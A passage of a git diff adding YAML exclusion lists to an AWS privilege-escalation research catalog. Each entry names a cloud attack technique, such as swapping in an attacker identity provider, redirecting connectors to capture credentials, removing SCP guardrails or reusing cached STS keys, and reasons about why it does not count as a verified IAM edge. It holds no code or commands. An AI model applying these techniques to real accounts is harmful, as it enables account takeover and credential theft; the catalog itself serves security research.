src/pentesting-cloud/aws-security/aws-post-exploitation/aws-gamelift-streams-post-exploitation/README.md#reconnect-to-an-active-or-disconnected-session + technique: aws-v3-17-reconnect-to-another-user-s-live-gamelift-streams-appli + reason: 'CreateStreamSessionConnection can reconnect to an ACTIVE or + PENDING_CLIENT_RECONNECTION stream and preserve that application session state. The + resulting WebRTC access may expose an in-app user session or reachable private network, + but the API does not grant the reconnecting caller the streaming execution role or + another AWS principal. Treat this as application-session takeover, not an IAM role edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-web-post-exploitation/README.md#add-or-replace-an-attacker-controlled-identity-provider + technique: aws-v3-18-attach-an-attacker-idp-to-a-workspaces-secure-browser-p + reason: 'Same portal IdP route as aws-v3-05. A configured attacker provider can issue valid assertions + for WorkSpaces Secure Browser access, but the portal login is not an IAM role session. The page does + not identify an exact AWS principal gained by the source.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-sitewise-privesc/README.md#grant-yourself-access-to-a-legacy-sitewise-monitor-portal + technique: aws-v3-19-grant-a-controlled-identity-sitewise-monitor-administra + reason: Only the exact self-admin grant on one existing portal with reviewed before/after access is active as aws-sitewise-createaccesspolicy-portal-self-grant. The legacy controlled-other-identity target lacks a typed source-control join and remains excluded. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-chat-room-token-post-exploitation/README.md#mint-a-room-token-and-join-the-data-plane + technique: aws-v3-20-mint-an-ivs-chat-token-using-another-application-user-i + reason: 'CreateChatToken can mint a room WebSocket token with an application-provided + userId and selected chat capabilities. That token may let the caller impersonate an + application user and send, receive or moderate messages in the room, but userId is not + an IAM principal and the token cannot call AWS APIs as another role. Keep this bounded + chat impersonation risk outside the AWS principal graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-audit-manager-post-exploitation/README.md#delegate-a-control-set-to-another-role + technique: aws-v3-21-delegate-audit-manager-control-set-authority-to-an-atta + reason: 'Candidate exact role authority change. BatchCreateDelegationByAssessment names a role and + grants it control-set review authority, but an edge from the source requires proof that the source + controls or can assume that exact role, effective permission on the assessment and control set, + and the resulting delegation. This does not itself grant sts:AssumeRole or general role permissions.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-wireless-post-exploitation/README.md#recover-wireless-device-onboarding-and-session-secrets + technique: aws-v3-22-clone-a-wireless-device-with-recovered-lorawan-or-sidew + reason: 'GetWirelessDevice may expose LoRaWAN or Sidewalk device keys, which can enable + device cloning or wireless traffic manipulation when the returned key type is usable. + Those keys identify a wireless device, not an IAM user or role, and do not authorize + AWS API calls as another principal. Keep this device-identity compromise outside the + principal escalation graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-supply-chain-post-exploitation/README.md#redirect-an-erp-connection-to-expose-credentials-used-by-the-instance-role + technique: aws-v3-23-redirect-a-supply-chain-erp-connector-to-capture-a-dele + reason: 'Redirecting a Supply Chain ERP connector may send a stored ERP username and password to + an attacker endpoint if the service authenticates there. The credential belongs to the downstream + ERP or database, not to the AWS instance role that reads it. No reusable AWS principal credential + or exact principal-to-principal edge is identified by this route.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#steal-or-sabotage-a-procurement-portal-connection + technique: aws-v3-24-recover-or-redirect-procurement-portal-authentication-m + reason: 'Recover or redirect procurement-portal authentication material: actions invoicing:GetProcurementPortalPreference + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-directory-secret-disclosure-post-exploitation/README.md#iam-reads-that-expose-directory-data-and-idp-client-secrets + technique: aws-v3-25-use-a-cognito-idp-client-secret-as-the-oauth-applicatio + reason: 'DescribeUserPoolClient may reveal a confidential Cognito application client secret. + The secret can authenticate an OAuth client for permitted flows, but it is not an IAM user or + role credential and does not by itself grant AWS API authority as another principal. A separate + identity-pool role mapping would need exact proof before modeling an IAM edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-blockchain-post-exploitation/README.md#recover-an-accessor-bearer-token + technique: aws-v3-26-reuse-an-amazon-managed-blockchain-accessor-billing-tok + reason: 'GetAccessor can return a BILLING_TOKEN for Ethereum or Polygon JSON-RPC access + and charge usage to the accessor owner. The token is a Managed Blockchain service + credential, not an AWS IAM or STS session; it neither discloses wallet private keys nor + grants another AWS principal authority. Keep paid-node misuse as a separate issue.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kinesis-video-streams-post-exploitation/README.md#recover-turn-credentials-and-impersonate-webrtc-peers + technique: aws-v3-27-join-kinesis-video-signaling-as-a-master-or-viewer-peer + reason: 'GetIceServerConfig returns temporary TURN relay credentials for one signaling + channel; joining signaling separately requires the source principal to have + ConnectAsViewer or ConnectAsMaster on that channel. TURN credentials authenticate to + the relay, not to IAM or STS, and the signed WebSocket call still uses the source + principal. Media exposure or peer impersonation is a bounded application-plane risk, + not a transition to another AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstartexecution---input-injection-into-dangerous-sinks + technique: aws-v3-28-reach-a-lambda-execution-role-through-unsafe-workflow-i + reason: 'Candidate Lambda role route only when an exact state machine passes caller-controlled input + to a known Lambda handler whose reviewed code executes that input. StartExecution permission, + state-machine definition, Lambda target and handler behavior must be joined before naming its + execution role as reachable. A mere invocation never proves code execution.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstartexecution---input-injection-into-dangerous-sinks + technique: aws-v3-29-redirect-a-credentialed-step-functions-http-task-to-cap + reason: 'A dynamic HTTP Task endpoint may receive the fixed EventBridge Connection credential + when caller input controls the URL and the execution role permits the request. This can expose + an API key or remote-service credential, but the route does not name another IAM principal or + grant the caller the state-machine execution role. Preserve it as a separate credential risk.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambda-durable-callback-result-injection + technique: aws-v3-30-inject-a-lambda-durable-callback-result-that-triggers-a + reason: 'Candidate role-backed workflow action. A valid pending callback ID, permission on its exact + durable execution and reviewed function logic must show that attacker-supplied callback output + reaches an AWS action under the function role. A callback permission alone neither discovers an ID + nor proves that the result controls a privileged branch.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md#local-enumeration + technique: aws-v3-31-steal-a-different-user-s-cached-iam-identity-center-acc + reason: 'Candidate local credential route. An IAM Identity Center token can obtain assigned AWS + role credentials while valid, but the page gives no AWS permission that reads another user''s + local cache. Require an observed host/file foothold, usable token, account-role assignment and + exact resulting role before adding an AWS principal edge.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md#local-enumeration + technique: aws-v3-32-reuse-another-user-s-cached-sts-role-credentials-or-sta + reason: 'Candidate local credential route. A different user''s AWS CLI files may contain live + cached STS credentials or IAM user keys, but IAM permissions alone do not give access to that + user''s filesystem. Require observed file access, usable credential material, credential owner + and effective target permissions before an exact principal edge.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#local-enumeration + technique: aws-v3-33-read-aws-vpn-client-temporary-credentials-from-another + reason: 'Candidate local credential route. AWS VPN Client may store temporary AWS credentials + for its metrics role in a local file, but the page gives no AWS permission to read another + user''s profile. Require observed host/file access, valid credentials and a verified resulting + role whose authority exceeds the source before adding an edge.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-resource-groups-tagging-api-enum.md#bulk-tagging-and-tag-sync-boundaries + technique: aws-v3-34-change-an-authorization-tag-to-satisfy-a-tag-conditione + reason: 'Candidate exact ABAC authority change. TagResources also requires the target service''s + native tagging action; a usable route needs both permissions on the exact resource, a policy + condition that grants a specific new AWS action for the chosen tag value, and no explicit deny. + TagResources alone is not an authorization bypass or a principal transition.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-devops-agent-enum.md#inventory-private-connectivity + technique: aws-v3-35-use-a-compromised-devops-agent-integration-endpoint-as + reason: 'Candidate only with a demonstrated compromised endpoint and exact DevOps Agent tool + path that forwards AWS credentials or causes a privileged AWS action under a named agent role. + Service metadata and endpoint inventory alone do not prove that the source controls the endpoint + or that an agent follows a malicious response.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chimecreateappinstanceuser--chimecreateappinstanceadmin + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#chimecreateappinstanceuser--chimecreateappinstanceadmin + source_revision: 3ad99dc7ac + technique: aws-v3-36-chime-createappinstanceuser-admin + reason: 'A Chime AppInstance user or bot can be promoted to messaging administrator, but this + service identity is not another IAM principal. Chime still checks the calling AWS session''s + IAM permissions for each messaging action, so the promotion alone creates no AWS role edge.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#dismantling-scp-guardrails--organizationsdetachpolicy-updatepolicy-disablepolicytype-moveaccount + technique: aws-v3-37-scp-guardrail-removal + reason: 'SCP guardrail removal: actions organizations:DetachPolicy are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsputresourcepolicy--delegate-organizations-itself-to-a-member-account + technique: aws-v3-38-organizations-resource-policy + reason: 'Organizations resource policy: actions organizations:PutResourcePolicy are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamcreateuser--batchassociateuserstack--regional-user-pool-foothold + technique: aws-v3-39-appstream-user-pool-stack-login + reason: 'Candidate conditional fleet-role path. CreateUser and BatchAssociateUserStack give a + service-local portal login after the email/password flow; an AWS role edge additionally needs + an assigned usable stack, application or desktop command execution, and a fleet with an + IAM machine role whose credentials are accessible from that session.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-omni-persistence/README.md#cloudwatchcreateaccessgrant--install-a-space-admin-principal + technique: aws-v3-40-cloudwatch-omni-space-admin + reason: 'Candidate exact grant to a named IAM principal. CreateAccessGrant can give that user + or role SPACE_ADMIN in one Omni space, but the source needs proven control of that principal + and the target still needs valid authentication, IAM authorization and the space operator + role. The grant does not create credentials or make a role assumable.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-elasticache-persistence/README.md#elasticachemodifyuser--hijack-or-widen-an-existing-rbac-user + technique: aws-v3-41-elasticache-attached-rbac-user-takeover + reason: 'ElastiCache attached RBAC user takeover: actions elasticache:ModifyUser are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-elasticache-persistence/README.md#elasticachecreateuser-elasticachecreateusergroup--elasticachemodifyusergroup--plant-a-full-access-rbac-user + technique: aws-v3-42-elasticache-full-access-user-group + reason: 'ElastiCache full-access user group: actions elasticache:CreateUser, elasticache:CreateUserGroup are stated, + but the aws_verified_authority target does not identify an exact principal or encode a verified new effective + permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-memorydb-persistence/README.md#memorydbcreateuser-memorydbcreateacl--memorydbupdateacl--plant-a-full-access-acl-user + technique: aws-v3-43-memorydb-full-access-acl-user + reason: 'MemoryDB full-access ACL user: actions memorydb:CreateUser, memorydb:CreateACL are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-memorydb-persistence/README.md#memorydbupdateuser--hijack-or-widen-an-existing-acl-user + technique: aws-v3-44-memorydb-attached-user-takeover + reason: 'MemoryDB attached user takeover: actions memorydb:UpdateUser are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-chime-sdk-persistence/README.md#add-an-attacker-controlled-messaging-identity + technique: aws-v3-45-chime-sdk-admin-persistence + reason: 'CreateAppInstanceAdmin can grant a controlled Chime user or bot persistent messaging + admin status. It does not grant that identity AWS IAM permissions; later calls still require + the caller''s own authorized AWS session. This duplicates the bounded service identity risk + reviewed under aws-v3-36 rather than an IAM principal transition.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#set-lifecycle-configuration-on-sagemaker-studio + technique: aws-v3-46-sagemaker-domain-lifecycle + reason: 'Candidate domain-level Studio lifecycle route. The active catalog models the narrower + user-profile update as aws-sagemaker-attach-studio-lifecycle-config-user-profile. A domain + default needs an exact target profile or space, compatible controlled lifecycle config, + effective UpdateDomain permission and later app start before naming the execution role.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-connect-persistence/README.md#create-a-durable-connect-administrator + technique: aws-v3-47-connect-createuser + reason: 'CreateUser can create a Connect-managed administrator login when the exact instance, + Admin security profile and routing profile are authorized. The login controls the contact + center, but it does not create AWS IAM credentials or grant another AWS principal authority. + SAML mode has additional federation prerequisites rather than an automatic role session.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshift-serverlessupdatenamespace---reset-the-serverless-database-administrator + technique: aws-v3-48-redshift-serverless-admin-reset + reason: 'UpdateNamespace can reset a Redshift Serverless database administrator password. + The resulting SQL login is a database identity, not an IAM user or role, and the page + identifies no AWS principal credential acquired by the source.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-healthlake-persistence/README.md#take-over-smart-on-fhir-authorization + technique: aws-v3-49-healthlake-smart-authorizer + reason: 'Candidate bounded role-backed FHIR action. A modified SMART authorizer can return a + role ARN for HealthLake to assume, but exact authority needs the datastore, controlled token + validator, trusted role with FHIR permissions, Lambda invoke policy and accepted bearer token. + The caller does not receive general credentials for the returned role.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-odb-persistence/README.md#retain-oracle-admin-access-with-a-known-password + technique: aws-v3-50-oracle-autonomous-database-admin + reason: 'UpdateAutonomousDatabase can set a known Oracle ADMIN password. That credential + controls the private database when reachable, but it does not grant AWS IAM or OCI tenancy + permissions and identifies no second AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-firewall-manager-persistence/README.md#retaining-the-fms-administrator-role + technique: aws-v3-51-firewall-manager-delegate + reason: 'Candidate cross-account service authority. FMS admin designation names an AWS + account, not a particular IAM principal. An exact edge needs a controlled identity in that + member account, effective FMS policy permissions, valid organization prerequisites and the + resulting admin designation; it does not confer general IAM administration.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-network-security-manager-persistence/README.md#network-security-managerputadminaccount--retain-delegated-network-security-administration + technique: aws-v3-52-network-security-manager-delegate + reason: 'Candidate cross-account service authority. PutAdminAccount designates a member + account rather than an IAM principal. An exact source-to-principal edge needs a controlled + identity there with effective Network Security Manager actions, organization all-features + and trusted-access prerequisites, and a scope that covers the intended resources.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-timestream-persistence/README.md#timestream-for-influxdb-plant-a-native-api-token + technique: aws-v3-53-influxdb-admin-credentials + reason: 'GetDbInstance and GetSecretValue can expose the InfluxDB engine administrator + credential, from which a native database token can be planted. Neither the password nor + token is an IAM credential or another AWS principal; its impact is limited to the + reachable InfluxDB service.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md#download-instance-ssh-keys--db-passwords + technique: aws-v3-54-lightsail-db-master-password + reason: 'GetRelationalDatabaseMasterUserPassword returns a database password, not IAM + credentials. Lightsail instance SSH keys can offer a separate host foothold, but the + page does not identify an instance IAM role, usable metadata credential or exact + principal transition from that host.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-opensearch-access-policy-persistence/README.md#esupdatedomainconfig--domain-access-policy-takeover + technique: aws-v3-55-opensearch-domain-policy + reason: 'Candidate exact resource-policy authority change. UpdateDomainConfig can name an + attacker-controlled IAM principal for ESHttp actions, but a definite edge needs control + of that principal, effective update authorization, completed configuration, reachable + endpoint and any fine-grained-access or explicit-deny limits. It does not assume a role.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-marketplace-persistence/README.md#aws-marketplaceputresourcepolicy--cross-account-seller-entity-control + technique: aws-v3-56-marketplace-seller-entity-policy + reason: 'Candidate exact cross-account entity grant. PutResourcePolicy can allow a named + external IAM principal to describe or change one seller entity, but the source must + control that principal and the external identity still needs its own applicable IAM + authorization. The grant does not give general access to the seller account.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-workmail-enum.md#exact-impersonation-to-mailbox-chain + technique: aws-v3-57-workmail-impersonation-role + reason: 'AssumeImpersonationRole returns a short-lived WorkMail EWS bearer token for + permitted mailboxes. The WorkMail impersonation role is not an IAM role and its token + cannot call AWS APIs as the mailbox user or another AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/organizations-and-central-account-pivots.md#scp-and-rcp-gaps + technique: aws-v3-58-leaveorganization-scp-escape + reason: 'LeaveOrganization SCP escape: actions organizations:LeaveOrganization are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md#guest-identity-credentials + technique: aws-v3-59-anonymous-cognito-guest-role + reason: 'Anonymous Cognito guest role: no source permission/action is declared. The required foothold or credential + possession cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current + snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md#enhanced-and-basic-authentication-flows + technique: aws-v3-60-cognito-classic-flow + reason: 'Cognito classic flow: no source permission/action is declared. The required foothold or credential possession + cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-user-pool-unauthenticated-access/README.md#registration + technique: aws-v3-61-public-signup-cognito-role + reason: 'Public SignUp Cognito role: no source permission/action is declared. The required foothold or credential + possession cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current + snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md#cognito-guest-identities-for-dynamodb + technique: aws-v3-62-cognito-guest-to-dynamodb + reason: 'Cognito guest to DynamoDB: no source permission/action is declared. The required foothold or credential + possession cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current + snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lex-v2-unauthenticated-enum/README.md#public-web-clients-backed-by-unauthenticated-cognito-identities + technique: aws-v3-63-cognito-guest-to-lex + reason: 'Cognito guest to Lex: no source permission/action is declared. The required foothold or credential possession + cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-devops-agent-post-exploitation/README.md#disable-and-re-enable-the-operator-app-with-an-attacker-idp + technique: aws-v3-64-devops-agent-operator-app-idp-swap + reason: 'Candidate bounded operator-role path. DisableOperatorApp and EnableOperatorApp can + install an attacker IdP and pass an exact trusted operator role. An edge requires both + app actions, effective PassRole, compatible role trust, accepted attacker authentication + and proof of the operator actions reachable through that role; no raw STS key is returned.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#policy-and-permission-boundary-deletion + technique: aws-v3-65-remove-own-explicit-deny + reason: 'Remove own explicit Deny: actions iam:DeleteUserPolicy are stated, but the aws_verified_authority target + does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-evs-post-exploitation/README.md#recover-evs-managed-vcf-and-esx-credentials + technique: aws-v3-66-evs-vmware-admin-secret + reason: 'EVS environment secrets can contain VMware vCenter, NSX, SDDC Manager or ESX + administrator credentials. Those are VMware control-plane identities, not AWS IAM + credentials; reading the secret does not identify another AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-evs-post-exploitation/README.md#recover-connector-credentials-for-an-existing-vcf-appliance + technique: aws-v3-67-evs-connector-secret + reason: 'EVS connector secrets contain credentials for an existing VCF appliance. + The account authenticates to VMware, not AWS IAM, so the secret read does not + give the source an exact second AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#organizationsdescribeorganization--fmsassociateadminaccount-fmsdisassociateadminaccount-fmsputadminaccount + technique: aws-v3-68-firewall-manager-admin-action + reason: 'Candidate duplicate of aws-v3-51-firewall-manager-delegate. AssociateAdminAccount + changes the designated FMS administrator account, not a specific IAM principal. An exact + source-to-principal route needs a controlled identity in that account with usable FMS + permissions and verified organization/admin prerequisites.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#elasticachemodifyreplicationgroup--add-an-attacker-known-legacy-auth-token + technique: aws-v3-69-elasticache-legacy-auth-rotation + reason: 'ModifyReplicationGroup can add a known legacy cache AUTH token where that mode + is enabled. The token authenticates to Valkey or Redis data, not to AWS IAM, and + gives no credentials for another AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2disabledelegatedadminaccount-inspector2enabledelegatedadminaccount--organizationslistdelegatedadministrators--organizationsenableawsserviceaccess--iamcreateservicelinkedrole + technique: aws-v3-70-inspector-delegated-administrator + reason: 'Candidate cross-account Inspector authority. EnableDelegatedAdminAccount names + a member account, not an IAM principal. An exact edge needs management-account + authorization, organization all-features and incumbent-admin handling, plus a controlled + identity in the chosen account with effective Inspector management actions.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#sending-paths--telemetry-gaps + technique: aws-v3-71-workmail-resetpassword + reason: 'ResetPassword can give the caller a WorkMail mailbox login. The mailbox is an + application identity, not an IAM user or role, and the password does not authorize + AWS API calls as another principal.' diff --git a/src/privilege-escalation-paths-research/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..7c4a61150f --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml @@ -0,0 +1,19 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/generic-challenge-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#change-cdktoolkit-trustedaccounts-to-attacker-account-and-deploy-role-trust + source_revision: b587e6bd26 + technique: Change CDKToolkit TrustedAccounts to attacker account and deploy role trust + reason: CloudFormation stack update can alter a bootstrap trust list, but the source is not + proved to control the admitted external-account principal or receive role credentials; the + generic challenge fact has no typed source-to-target contract. + prior_id: aws-pa-persist-s01-30 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#periodic-ecs-task-through-eventbridge + source_revision: b587e6bd26 + technique: Schedule attacker-controlled ECS code under a task role + reason: 'A scheduled ECS target can run with a task role, but the selected task definition + must contain attacker-controlled code and name the exact task role. The EventBridge invocation + role must trust EventBridge and allow ecs:RunTask for that task definition and iam:PassRole for + the task role; the caller must be allowed to attach that invocation role to the target. A + role-less task definition, such as the source example, supplies no task-role escalation. + The current generic challenge fact records none of these target-to-role joins or execution + conditions, so a permission-only path would be a false positive.' + prior_id: aws-ecs-eventbridge-scheduled-task-role diff --git a/src/privilege-escalation-paths-research/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml new file mode 100644 index 0000000000..155e3e766d --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml @@ -0,0 +1,13 @@ +# Exact original: docs/privesc-ledgers/aws-scope-archive-20261016/greengrass-unjoined-tes-role-final-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-greengrass-post-exploitation/README.md#greengrasscreatecomponentversion--greengrasscreatedeployment--run-code-on-edge-core-devices + source_revision: 4d874afe90 + technique: Deploy a malicious Greengrass component to core devices and use their token exchange + role + reason: 'The caller may create a component with executable lifecycle code and deploy it to + a permitted thing or thing group; a group target also needs iot:DescribeThingGroup. A role + edge requires a specific connected core device that receives and runs the component, its + nucleus iotRoleAlias setting, an IoT policy permitting that alias, the alias target IAM role + and a usable token exchange service on the device. The evaluator collects none of the exact + deployment-to-device-to-alias-to-role joins. Trust in credentials.iot.amazonaws.com alone + identifies neither the device nor its role, so a permission-only edge would be speculative.' + prior_id: aws-greengrass-createcomponentversion-createdeployment-tes-role diff --git a/src/privilege-escalation-paths-research/aws/_excluded_org_scope_overclaim_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_org_scope_overclaim_20261016.yaml new file mode 100644 index 0000000000..7a06ee4178 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_org_scope_overclaim_20261016.yaml @@ -0,0 +1,11 @@ +# Organization/account-admin paths missing exact scope or authentication prerequisites. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-account-management-privesc/README.md#accountputcontactinformation--startprimaryemailupdate--account-recovery-and-root-email-takeover + technique: aws-account-startprimaryemailupdate-member-root + reason: Changing the root email and resetting the password does not bypass an enrolled root MFA device. The entry + lacks exact evidence that the target account has no MFA barrier or a usable recovery path, so root/account-admin + access is not established. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsregisterdelegatedadministrator--delegate-a-service-to-a-member-account + technique: aws-organizations-registerdelegatedadministrator + reason: RegisterDelegatedAdministrator alone grants only service-specific delegation to a separate controlled + member-account identity. The catalog does not bind that identity, service-specific administrative actions, or + member targets, so aws_account_admin for all members is overbroad. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_organizations_effective_gain_20261022.yaml b/src/privilege-escalation-paths-research/aws/_excluded_organizations_effective_gain_20261022.yaml new file mode 100644 index 0000000000..5c54f144f6 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_organizations_effective_gain_20261022.yaml @@ -0,0 +1,9 @@ +# Organizations policy changes require an exact source-to-member effective-authority join. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#dismantling-scp-guardrails--organizationsdetachpolicy-updatepolicy-disablepolicytype-moveaccount + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 + technique: Remove an SCP guardrail for a controlled member principal + reason: DetachPolicy, UpdatePolicy, DisablePolicyType or MoveAccount can alter member-account ceilings, but the management caller does not gain its own permission from an SCP change. A definite edge requires a controlled member principal, exact account and inherited SCP path, prior blocked action, identity allow, removal of the effective block and no remaining deny or boundary. Current inventory does not join before-and-after effective permission across those principals. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsputresourcepolicy--delegate-organizations-itself-to-a-member-account + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 + technique: Delegate Organizations policy actions to a controlled member principal + reason: PutResourcePolicy can permit a member account to manage supported Organizations policies, but a usable gain requires an exact controlled member principal, accepted delegation policy and resource, matching identity permission and absence of denies. The policy writer's management-account permission is not itself a new member-principal capability. Current inventory does not join the two principals or prove a specific before-and-after authorized action. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_pr_head_reconciliation_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_pr_head_reconciliation_20261016.yaml new file mode 100644 index 0000000000..3bf25e7098 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_pr_head_reconciliation_20261016.yaml @@ -0,0 +1,53 @@ +# PR #473 HEAD headings that require an explicit strict-catalog exclusion. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Callable field, data-source role and source authorization are not joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#hijack-resolver-function-or-data-source-behavior + source_revision: 4829bd32b9 + technique: hijack resolver function or data source behavior + reason: Resolver mutation does not prove a caller-accessible field and exact stored data-source + role; application data effects alone are not privilege escalation. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Control of the admitted external-account principal and exact bootstrap-role access are + not verified. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeartifact-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: "Writable package\u2192exact consumer role and execution are not collected." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Writable revision, triggered build and project execution role are not joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeconnections-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + 